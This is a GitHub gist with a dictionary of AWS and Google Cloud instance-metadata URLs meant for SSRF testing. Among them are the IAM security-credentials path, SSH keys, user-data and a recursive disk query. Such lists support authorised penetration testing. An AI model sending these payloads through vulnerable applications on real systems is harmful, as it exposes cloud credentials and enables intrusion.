Skip to content

Instantly share code, notes, and snippets.

@semimitoz
Forked from jhaddix/cloud_metadata.txt
Created August 8, 2019 02:32
Show Gist options
  • Save semimitoz/8cc4aab04b62d2619712fba0d51266a6 to your computer and use it in GitHub Desktop.
Save semimitoz/8cc4aab04b62d2619712fba0d51266a6 to your computer and use it in GitHub Desktop.
Cloud Metadata Dictionary useful for SSRF Testing
# AWS - File Responses
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
# AWS - Dir + Files Responses
http://169.254.169.254/
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/public-keys/
# Google Cloud
# https://cloud.google.com/compute/docs/metadata
# - Requires the header `Metadata-Flavor: Google` or `X-Google-Metadata-Request: True`
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
# Google allows recursive pulls
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment